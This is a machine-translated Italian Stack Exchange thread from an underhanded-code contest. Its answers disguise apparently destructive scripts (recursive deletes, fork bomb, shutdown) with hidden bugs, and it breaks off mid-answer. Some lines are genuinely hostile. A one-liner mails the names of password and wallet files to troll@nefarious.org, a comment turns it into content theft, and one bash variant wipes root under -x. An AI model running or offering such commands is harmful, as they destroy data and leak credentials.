Trolling the troll [chiuso]

184

Un troll ti ha catturato e ti sta costringendo a scrivere malware (definito come un programma che danneggia il computer che lo esegue). Il troll può leggere e comprendere il codice, ma non è così bravo a individuare i bug.

Il tuo obiettivo è scrivere un programma che:

  1. Sembra malware; vale a dire, un programmatore principiante che legge il codice sarà convinto che il codice causi danni al computer che lo esegue.
  2. In realtà non fa alcun danno.

NOTA: il troll legge solo il codice, non i commenti. Quindi il codice stesso dovrebbe essere abbastanza chiaro e convincente.

ESEMPIO (bash):

rm - rf /home

Questo esempio sembra rm -rf /home che rimuova tutte le cartelle home dal sistema, ma in realtà, a causa dello spazio prima di rf, questo non funzionerà e causerà solo un messaggio di errore innocuo.

Questa è una soluzione accettabile, ma non è molto buona, perché il bug è abbastanza facile da rilevare.

D'altra parte, anche un programma complesso e illeggibile non sarà un'ottima soluzione, perché non sembrerà un malware.

Una buona soluzione dovrebbe essere abbastanza leggibile per convincere il lettore che si tratta di malware, ma contiene un bug che è difficile da rilevare e lo rende innocuo.

Questo è un concorso di popolarità, quindi vince il codice con il maggior numero di voti.

popularity-contest  underhanded 
— Erel Segal-Halevi
fonte
160
Sento che stai cercando di indurmi a incollarmi rm - rf /nella mia conchiglia ...
— undergroundmonorail
19
Bash rm -rf /. A meno che il sistema non sia molto vecchio , richiederà --no-preserve-root:)
— user80551
10
-1 perché a) code-trolling e, soprattutto, b) sono molto preoccupato per qualsiasi domanda riguardante la creazione di malware (anche se è falso, si avvicina molto).
— Gareth,
13
@Gareth Non è in realtà un malware, anche se (che in genere cerca di essere nascosto e / o rubare dati in questi giorni), è per lo più completamente ovvio tentare di eliminare cose, che qualsiasi programmatore principiante potrebbe scrivere con poco sforzo.
— Bob
29
rm - rf /non è un esempio valido! Può causare danni se si dispone di un file chiamato rfnella directory corrente
— gnibbler

Risposte:

139

bash

Sono andato dall'altra parte. Invece di eliminare tutto sul tuo disco rigido, lo riempirò di spazzatura.

Questo script crea una cartella, quindi continua a catriunire tutti i file e li inserisce in uno nuovo, aggiungendo il valore di ls -alper buona misura (e in modo che il file iniziale abbia qualcosa).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

tranne ...

/ bin / bash / (invece di / bin / bash) è molto improbabile che sia un interprete valido. Questo è solo un mio errore di battitura comune. E poiché "lo shebang è tecnicamente un commento, il troll lo ignorerà"

— James Webster
fonte
56
+1. La prima riga di uno script è un punto cieco per molti programmatori (incluso me stesso).
— Erel Segal-Halevi,
44
e lo shebang è tecnicamente un commento, quindi il troll lo ignorerà
— Brian Minton,
14
+1 per aver abusato del commento senza commenti :) questo non è davvero ovvio
— masterX244
37
bash whatever.sh
— Eseguirlo
8
@Darkhogg, che fortuna! L'ho salvato in evil.commandmodo che il troll possa semplicemente fare doppio clic per aprirlo (almeno su Mac)
— James Webster,
114

Haskell

Controlla questa pagina di manuale , removeDirectoryRecursiveelimina una directory con tutto il suo contenuto!

import System.Directory
main = return (removeDirectoryRecursive "/")

Il codice corretto sarebbe main = removeDirectoryRecursive "/"
La mainfunzione dovrebbe restituire un concetto di fare qualcosa. removeDirectoryRecursive "/"restituisce un concetto di cancellazione del filesystem, ma la returnfunzione (sì, è una funzione), racchiude il suo argomento in un concetto fittizio di restituire quel valore.
Quindi finiamo con l'idea di restituire l'idea di cancellare il tuo disco. (Yo dawg I her her you like concept.) Il runtime di haskell esegue il concetto restituito maine scarta il valore restituito, che nel nostro caso è un concetto di cancellazione del filesystem.

— mniip
fonte
85
+1. Non riuscivo a capire il bug anche dopo aver letto la tua spiegazione ...
— Erel Segal-Halevi
3
A quanto ho capito, si tratta di un errore del puntatore (che punta al puntatore della funzione invece che alla funzione). Abbastanza bene, i programmatori principianti generalmente cadono facilmente per i trucchi dei puntatori.
— gaboroso
3
Fondamentalmente, questo sarebbe simile al return removeDirectoryRecursive;contrario di return removeDirectoryRecursive();in C, è corretto?
— 3Doubloons
4
@ user1121352 No. La funzione stessa viene chiamata, ma non può eliminare un file perché è puro. Fornisce invece un'azione IO, che quando viene restituita main, viene eseguita e rimuove il file. L'uso esplicito della returnfunzione, tuttavia, crea un'azione IO il cui scopo è solo quello di creare il valore.
— mniip,
4
@Cthulhu returnnon ha nulla a che fare con returnin altre lingue (o anche con "restituire" un valore da una funzione). Né i valori di tipo IO ahanno molto a che fare con le funzioni in altre lingue. Quindi l'analogia è piuttosto ondulata
— Niklas B.
103

PHP

Ecco uno script PHP ricorsivo che tenta di eliminare ogni singolo file nel tuo sito Web. Il completamento del sito Web potrebbe richiedere del tempo, quindi sii paziente ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Solo un problema da ragazzino ...

Non esiste un comando delete () in PHP. Lo script avrà esito negativo non appena incontra questo comando, ma non verrà visualizzato alcun messaggio di errore perché la segnalazione degli errori è stata eliminata aggiungendo il prefisso al comando con @ . L'immagine GIF lampeggiante dà l'impressione che qualcosa stia accadendo, quando assolutamente nulla sta succedendo.

— ossifrage schizzinoso
fonte
31
^ per quanto ho capito: non esiste una funzione delete (), il manuale dice semplicemente che si tratta di "fake-entry" per chiunque cerchi la funzione giusta (unlink). Ciò non significa che ci sia una sorta di reindirizzamento "automatico" in PHP.
— Erti-Chris Eelmaa,
93
@ user11153 è stato trollato.
— basher
34
Vedi, ho pensato che il motivo per cui gli errori sarebbero stati ignorati e che l'esecuzione sarebbe continuata era perché era PHP.
— Zoey,
17
Penso che usare una funzione casuale inesistente sia un po 'ovvio ( deleteper eliminare i file? Non c'è motivo di presumere che possa ingannare qualcuno). Che ne dici unlⅰnkinvece (che utilizza U + 2170 invece di “i”)?
— Konrad Rudolph,
18
@KonradRudolph Una funzione chiamata deleteper eliminare i file è completamente credibile in PHP. L'unica cosa che non è credibile è che se fosse reale, ci sarebbero 3 o 4 altri modi per farlo e tutti tranne quello con il nome più strano avrebbero gravi difetti di sicurezza.
— Brendan Long,
93

Perl (Unix)

Elimina tutti i file sul sistema.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Caratteristiche

  • Questo è Perl valido. Si compila e funziona anche con -we use strict!

  • Nessun cavillo come quello di C ++ delete. unlinkè davvero la funzione per eliminare un file, rmdirrimuove davvero una directory, ecc.

  • Gestisce correttamente le directory profondamente annidate per le quali il percorso assoluto può superare la lunghezza massima del sistema, cambiando in ciascuna directory per utilizzare i percorsi relativi. Inoltre, non si esauriranno gli handle di directory, poiché legge e chiude la directory prima di ricorrere nuovamente.

spoiler

Su Unix, la prima voce nella directory principale è normalmente "." quindi il programma eseguirà una ricorsione infinita di chdir (".") fino a quando non si esaurisce la memoria e si blocca.

Ulteriori note

Questo è stato più difficile da ottenere giusto del previsto. Se non usi l'approccio chdir, alla fine otterrai un percorso troppo lungo. Quindi -d restituisce false e la ricorsione infinita viene interrotta e i file potrebbero effettivamente essere eliminati! Un errore simile può verificarsi se si mantengono aperti gli handle di directory; alla fine si esaurisce, l'opendir fallisce, il killdir ritorna e inizia la cancellazione.

— Nate Eldredge
fonte
45
"Quindi -d restituisce false e la ricorsione infinita viene interrotta e i file potrebbero effettivamente essere eliminati!" l'hai imparato nel modo più duro?
— Niklas B.
4
@NiklasB .: Fortunatamente ho provato una versione fittizia :)
— Nate Eldredge,
Mi aspettavo che tale codice potesse eliminare solo le cartelle vuote, ma non i file ...
— Qwertiy,
3
"Su Unix, la prima voce nella directory principale è normalmente". "". Quindi, un altro malware solo per Windows?
— Alexander,
1
@timmyRS: il programma si arresterà in modo anomalo. Il sistema continuerà a funzionare bene.
— Nate Eldredge,
81

Shell one-liner

Questo ruberà tutte le password, le chiavi private, i bitcoin della vittima, ecc.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

spoiler:

Questo potrebbe sembrare come se inviasse tutti quei file al troll, ma in realtà inviava semplicemente i loro nomi di file.

— Nate Eldredge
fonte
4
A e-mail i contenuti, i cat, heado tailcomandi dovrebbero essere coinvolti da qualche parte.
— Agi Hammerthief,
7
Perdono ancora dati, non importa quale. Questo è la pesca a traina dei troll a traina?
— Kyle Kelley
-exec cat '{}' \; | …
— Martin Ueding,
@queueoverflow-print0 | xargs -0 cat |
— quantum
1
L'ho preso senza lo spoiler dopo aver letto il codice 2-3 volte.
— nyuszika7h
74

Batch / CMD

Salva

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

e farli funzionare con i parametri di ciascuna delle unità sul computer.

% 0 è sempre il primo parametro, il nome del file. Dopo questo arriva l'insieme dei parametri effettivi, ma si è già cancellato, quindi non continuerà.

— kitcar2000
fonte
104
Si affida anche al comportamento divertente di Batch di chiudere il file e riaprirlo per leggere la riga successiva per ogni riga ...
— Bob
8
DEL %0non funzionerà se l'estensione del file non viene specificata nella riga di comando e lo script non viene eseguito fornendo il suo percorso completo o ci si trova nella stessa directory. DEL "%~f0"risolverebbe entrambi i problemi ed essere resiliente agli spazi in qualsiasi punto del percorso. Inoltre %10e verso l'alto non esiste - si traduce in %1seguito da un letterale 0.
— Jon
14
+1. Anche se il troll capisce cosa fa "DEL% 0", puoi convincerlo che questo serve solo a cancellare l'evidenza, e non fa nulla di male poiché il file batch rimane in memoria fino alla fine della sua esecuzione (il che è falso, come Bob disse).
— Erel Segal-Halevi,
2
Un troll intelligente riterrebbe comunque strano emettere il comando per l'eliminazione automatica all'inizio del file (piuttosto che alla fine), a meno che non si tenga conto di quanto notoriamente siano gli script batch soggetti a errori.
— Agi Hammerthief,
10
@Bob Non avevo idea che batch lo avesse fatto ... è orribile.
— w4etwetewtwet,
48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Bene, il malware originale non farà esplodere il tuo computer ma può essere fastidioso.

Questo è innocuo perché:

Il evalinterromperà il ciclo infinito e modificherà il messaggio.

— Michael M.
fonte
40
Ti voterei, ma hai 1337 rappresentanti.
— scrblnrd3,
5
Quindi per favore non farlo! :)
— Michael M.
@scrblnd è sparito D:
— Riking
11
Sottoscrivi le risposte negative fino a quando non torni ad esso.
— David Starkey,
4
Solo per spiegare agli altri, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') eseguirà la seguente: "InfiniteLoop = false; evilMessage = evilMessage.replace (" spam " "LOVE");"
— Mohammed Joraid,
45

Giava

Che gli dei mi perdonino per essermi sottomesso alle tue miserabili richieste, troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec non invoca una shell, quindi l'espansione glob non si verifica mai e il comando tenterà senza successo di eliminare una home directory chiamata letteralmente "*"

— quell'altro ragazzo
fonte
1
Quindi, qual è la mia directory home si chiama '*'? ;)
— Vorac,
6
Onestamente questa è una delle migliori risposte Java. Ciò richiede una comprensione abbastanza solida delle (molte) cadute di Runtime.exec(). +1.
— Qix,
Java ha un equivalente reale della system()funzione di c ?
— SuperJedi224,
@ SuperJedi224 No, è necessario specificare /bin/sh -co cmd /co qualsiasi altra cosa manualmente. Ha senso poiché non si sa mai cosa farebbe un comando su un nuovo sistema operativo.
— quell'altro ragazzo il
37

C

Dal momento che non legge commenti che dovrebbero farlo:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Versione C ++

grazie a DragonLord per questo.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Aggiungi questo nella cartella di avvio e riavvia il computer.

Come funziona:

?? / è una trigrafia e aggiungerà la riga successiva nel commento, quindi sostanzialmente non farà nulla. Nota: non provare questo trigraph potrebbe essere disattivato in alcuni compilatori come impostazione predefinita e deve essere attivato affinché funzioni.

— MHMD
fonte
Se in alcuni compilatori può funzionare, è una vera traina?
— Antonio Ragagnin,
4
No, ma in una situazione reale, preferirei non trollare un troll con tale codice (non voglio danneggiare un troll!)
— Antonio Ragagnin
2
@AntonioRagagnin Se funziona su qualsiasi compilatore, quel compilatore è difettoso. Tuttavia, la maggior parte dei compilatori moderni avvertirà dell'uso delle trigrafi (ma accetta e compila il codice).
— Konrad Rudolph,
8
Quindi se il Troll non legge i commenti e la tua soluzione è trasformare il malware in un commento, ciò non significa che tutto il troll che vede è una funzione maincon return 0?
— David Starkey,
1
Il ??/è davvero un vecchio trucco ... mi dispiace.
— Isiah Meadows,
33

Giava

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Utilizzo di un carattere di escape (il \ n prima di ntoskrnl.exe è una nuova riga anziché la normale N)

— masterX244
fonte
20
Se non sfuggite alle altre barre rovesciate, l'errore potrebbe apparire ancora meno evidente. Il troll potrebbe pensare che la lingua non usi backslash
— escape
2
@ 3Doubloons In questo caso il codice non verrebbe compilato?
— Neil
2
@Neil: buon punto. Non lo farebbe, ma se il troll ci lascia andare non appena è soddisfatto della sua lettura, siamo in chiaro
— 3Doubloons
29
new File("C:\ntldr").delete();
— Egor Skriptunoff,
3
@EgorSkriptunoff Mi ci è voluto più di un po 'per capire che XP non era una variante di XD.
— Giustino, il
31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t uscirà dopo aver letto ed eseguito un comando. Questo script non stampa alcun output e tutti i file sono al sicuro!

O il seguente MA LEGGERE LO SPOILER PRIMA DI ESEGUIRE

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

A grande richiesta .. #!/bin/bash -tuscirà dopo aver letto ed eseguito un comando. Non eseguire questo in bash -xquanto ignorerà -ted eseguirà i comandi nello script.

— JOgden
fonte
SPOILER Sono un po 'confuso ... qual è la differenza tra set -te exit? La pagina man di Bash dice che set -tesce dopo "un comando", ma sembra contare il setcomando stesso come quel comando e uscire immediatamente.
— Kyle Strand
6
Se i comandi aggiuntivi si trovano sulla stessa riga di set -t (ad esempio separati da un punto e virgola o da una doppia e commerciale ecc.) Verranno eseguiti. In questo caso una prima riga di set -t; echo "hahaha deleting files.."farebbe eco a quel testo e poi uscire.
— JOgden
2
Ah. Grazie. Non mi ero reso conto che ci fosse mai una differenza nel comportamento tra ;e una nuova linea.
— Kyle Strand,
4
#!/bin/bash -tForse?
— Neil
2
@JOgden è un peccato che bash non faccia lo stesso trucco analizzatore di shebang che fa il perl (se corri perl foo.ple inizia foo.pl #!somethingendingin/perl -flags, il perl si comporterà come se fosse stato invocato -flags)
— hobbs
30

Pitone

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "

tre virgolette "" "iniziano una stringa multilinea in Python

— Antonio Ragagnin
fonte
5
— user80551
12
Ho visto il problema letteralmente entro cinque secondi dal vedere la risposta, e non conosco nemmeno Python.
— The Guy with The Hat
6
Bella idea, con il problema che se il troll utilizza l'evidenziazione della sintassi lo individuerà.
— o0 '.
1
Penso che il troll medio veda un codice malevolo casuale su Internet e lo copii semplicemente in un altro forum.
— Antonio Ragagnin,
1
Bene, ho esperienza con Python e non ho visto il difetto. L'uso di 4 citazioni potrebbe avermi ingannato.
— gaboroso
29

D

Questo programma è valido e viene eseguito senza errori. Genera una funzione di eliminazione in un nuovo thread, che elimina la rootdirectory.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Ma nulla viene cancellato ...

perché in D, una variabile dichiarata nell'ambito del modulo è thread-local per impostazione predefinita. Le mainfunzioni lo impostano su "/", ma i thread di spawn hanno una copia vuota, quindi la rmdirRecursefunzione non viene chiamata.

— biozic
fonte
1
Buono! Sono riuscito a catturare il bug in questo, anche se non conosco D.
— Erel Segal-Halevi
1
"una variabile globale è thread-local per impostazione predefinita" Questo è un po 'una contraddizione lì
— Niklas B.
@NiklasB. Qual è la contraddizione?
— biozic,
Quindi non è una "variabile globale". Forse "variabile dichiarata ai massimi livelli" è una descrizione migliore?
— Paŭlo Ebermann,
Sì, modificato! È meno ambiguo. Tuttavia, non del tutto una contraddizione, almeno in senso lessicale.
— biozic,
25

C (Unix)

L'aggiunta di alcuni annunci non ha mai fatto del male a nessuno.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: è un'etichetta, il goto passa all'etichetta mancante del codice harful. : V

— ilmale
fonte
5
Sono riuscito a individuarlo :)
— Erel Segal-Halevi del
17
Il punto e virgola nel primo URL è abbastanza facile da individuare in questo carattere. Ma è creativo!
— CompuChip
12
considerato utile
1
L'ho notato perché non c'è punto e virgola dopo il goto. Se l'hai cambiato in goto http;//www.trolling.com;(in entrambi i punti), potrei averlo perso.
— wchargin
2
Non si compila comunque, perché non c'è alcuna printfunzione.
— nyuszika7h
24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Non viene visualizzato alcun avviso. Poiché JavaScript non richiede ;alla fine delle righe, viene automaticamente inserito dopo return, diventando return;. Quindi undefined, che è falso, viene restituito al posto dell '"oggetto" (che in effetti viene analizzato come un'istruzione di blocco).

— Oriol
fonte
3
Tentato a +1 solo per l'uso di "veramente" e "falsa";)
— CompuChip
1
+1 poiché questo "difetto" in JS mi ha colto di sorpresa numerose volte ... Ho dovuto rileggerlo un paio di volte per vederlo
— Mark Ormston,
12
@NigelNquande il punto e virgola non causa l'errore, l'interruzione di linea fa. Il ritorno e l'oggetto che dovrebbe essere restituito sono su righe separate, quindi l'oggetto non viene mai restituito. Per "fissare", rimuovere l'interruzione di riga in modo che leggereturn {
— Dave Forber
3
Sperando che il troll non minimizzi il codice!
— Mohammed Joraid,
2
UglifyJS dice WARN: Dropping side-effect-free statement [-:4,11]e ritorna function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
— nyuszika7h
22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Scambia l'avviso di distruzione per qualsiasi brutta azione distruttiva che vorresti usare.

spoiler:

Anche se sembra che la configurazione sia impostata per eliminare ... ed è così ! la dichiarazione 'var' all'interno della funzione è "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html e di conseguenza è effettivamente falsa quando si accede alla funzione.

— scunliffe
fonte
Bel trucco, ma perché dovresti resettare la bandiera?
— Mohammed Joraid,
Il "reset" era solo un esempio ... potrebbe essere qualsiasi variabile in cui l'assegnazione è valida ... solo se il prefisso "var" può / avrà conseguenze non intenzionali.
— scunliffe,
16

Giava

Eliminiamo solo alcuni file importanti!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Nascosto nel commento al blocco c'è un extra} {al di fuori del commento. Ciò inserisce la cancellazione dei file in un blocco di inizializzazione separato, che viene eseguito prima del costruttore. A quel tempo, importantFile è ancora nullo.

— Joe K
fonte
16
Sono riuscito a individuarlo :)
— Erel Segal-Halevi del
17
Questo sarebbe molto, molto ovvio se il troll non leggesse i commenti.
— Approaching
6
Ho scelto di interpretare "il troll non legge i commenti" come "il troll salta i commenti in un modo simile a un umano se salta i commenti". In questo caso, potrebbe essere facile perdere erroneamente il fatto che quei due personaggi siano effettivamente al di fuori del commento.
— Joe K,
1
Questo è stato l'unico che ho risolto prima di leggere la spiegazione ma buon lavoro!
— nrubin29,
15

Bash, C, Linux

Forse non è esattamente un malware, ma sicuramente può far parte di uno :)

È un exploit straordinario che può darti root su qualsiasi macchina linux! Shhh, non dire a nessuno che ce l'abbiamo!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Ora esegui lo script e sarai root! Puoi assicurarti di usare whoami!

Di fatto, inganna solo tutte le applicazioni con UID = 0 (questo è l'id utente root).

Il codice è scritto da Lcamtuf, fonte: http://lcamtuf.coredump.cx/soft/ld-expl

— mik01aj
fonte
+1. Davvero un bel trucco. Continuo a non capire fino in fondo come funziona.
— Erel Segal-Halevi,
@ErelSegalHalevi: vedi stackoverflow.com/questions/426230/what-is-the-ld-preload-trick per maggiori dettagli su LD_PRELOAD.
— mik01aj,
2
Continua a leggere fakeroot(1), che è una libreria che intercetta le chiamate a varie funzioni del sistema POSIX, inducendo il chiamante a credere di avere accesso (falso) in lettura e (falso) all'intero sistema. In realtà, non concederà (in realtà) queste autorizzazioni, ma quando il programma, ad esempio chiama la funzione "fake" chmodsu un file e modifica le autorizzazioni, fakeroot ricorderà queste autorizzazioni in modo che le statchiamate restituiscano le autorizzazioni aggiornate. Alcune distro lo usano per consentire al sistema di creazione di pacchetti di creare file con root:rootproprietà.
— slitta,
1
Credo che sia lcamtuf : lcamtuf.coredump.cx/soft/ld-expl - almeno ricordo che era lì dagli anni '90
— viraptor
13

bash

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

C'è un errore di sintassi sulla linea "fork-bomb". Dopo { , dovrebbe esserci uno spazio. Senza di essa, lo script ha esito negativo perché la definizione della funzione non è seguita dal token { da solo.

— Konrad Borowski
fonte
2
Devi aggiungere una nota di cautela (forse nello spoiler) che questo non può essere eseguito usando kshpoiché la bomba a forcella non è un errore di sintassi lì!
— Devnull
— Dennis,
@Dennis: non correlato, non l'ho visto. Ma thread interessante, a dire il vero. So come funziona l'analisi in bash, ed è per questo che non lo uso :-).
— Konrad Borowski
11

Emacs Lisp

Innanzitutto semplice. Questo non fa nulla. Sta effettivamente cercando di eliminare elementi uguali a: ricorsivi dall'elenco restituito da directory-files. Non eliminerà alcun file.

(delete :recursive
    (directory-files "/"))

Eccone uno che potrebbe sconcertare anche i veterinari elisp.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Questo è solo 1 carattere di distanza dall'eliminazione della directory principale.

emacs lisp consentirà a jsut di qualsiasi cosa di essere il nome di un simbolo (variabile, funzione, macro, ecc.). Va bene usare unicode nel nome dei tuoi simboli ed è quello che sta succedendo qui.

setqpuò prendere qualsiasi numero di args (setq a 3 b 4)è come fare a = 3; b = 4; ma (setq a 3 b)è anche valido e sta facendo un = 3; b = zero;

Il valore di ritorno di `setq 'è il valore assegnato all'ultima variabile. 4 e zero rispettivamente negli esempi.

(setq a 3 b)è esattamente ciò che sta accadendo nel codice, ma invece di b sto usando un carattere di spazio bianco unicode. Sto assegnando il valore zero a una variabile denominata il cui nome è il carattere unicode 0x2001. A causa di questo zero viene restituito da setq e la condizione per il ciclo while non è mai vera. Elimina quel personaggio bianco e funzionerà bene.

— Jordon Biondo
fonte
10

Solo un altro hacker perl.

L'ho scritto nel 2002 , mentre frequentavo Perlmonks e generalmente cercavo di spingere il più possibile la mia conoscenza del Perl. Non l'ho modificato affatto, ma funziona comunque.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Se ricordo bene, il BEGINblocco viene eseguito prima di tutto, indipendentemente da dove si trova nel codice. Sostituisce ciò @INCche determina da dove Perl carica le sue librerie con una subroutine (di solito è un insieme di percorsi, ma questo è permesso). La subroutine è in realtà il blocco dati offuscato, che sta facendo un po 'di regexp + eval magic. Quindi, quando il codice colpisce require File::Path;(non avrebbe funzionato use) questo sub viene eseguito e stampa semplicemente "Solo un altro hacker perl", come è tradizione ed esce. Il resto del codice non viene mai raggiunto.

— stoffe
fonte
1
Wow, mi ci è voluto un po 'per capire cosa fa questo codice (ma non ho letto lo spoiler). Ho decodificato questo blocco di regex call (è lo stesso metodo che ho usato in codegolf.stackexchange.com/a/23871/3103 ), e mi piace come contiene il exitcomando (con punto e virgola inutile dopo di esso, ma non è importante) ).
— Konrad Borowski,
Hehe, ho dovuto capirlo da solo, dopo tutto ha 11-12 anni. Il punto e virgola è probabilmente solo per allineare tutto in modo ordinato.
— Stoffe
9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

A prima vista, $conditionè falso, ma l' =operatore ha la precedenza and, quindi la condizione è vera. Quindi il male non è mai fatto.

— Zozo
fonte
8

C ++ con Boost

Ciò eliminerà tutti i file sul file system

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

In realtà non lo farà. deletein C ++ viene utilizzato per liberare memoria allocata da newe non per eliminare file e directory. Molto probabilmente il programma si arresterà in modo anomalo con un errore di segmentazione mentre tenta di deallocare la memoria allocata da Boost, ma a quel punto, sarò sfuggito alla prigionia del troll.

— 3Doubloons
fonte
+1. Questo non è facile da individuare poiché si compila anche senza errori.
— Erel Segal-Halevi,
2
La prima riga del problema non è un comportamento indefinito? Nel qual caso potrebbe infatti cancellare tutti i suoi file.
— aschepler
1
@aschepler: "UB potrebbe eliminare tutti i tuoi file" rende una spiegazione divertente che non puoi prevedere cosa accadrà quando invochi UB, ma di solito non è possibile. Se il troll avesse un compilatore che cancella i dischi rigidi su UB, non ci farebbe scrivere un malware
— 3Doubloons
2
l'evidenziazione della sintassi darebbe un suggerimento al troll qui ...
— mik01aj
8

Giava

Questo farà finta di scaricare RAM, ma eliminerà la home directory dell'utente.

import java.util.*;
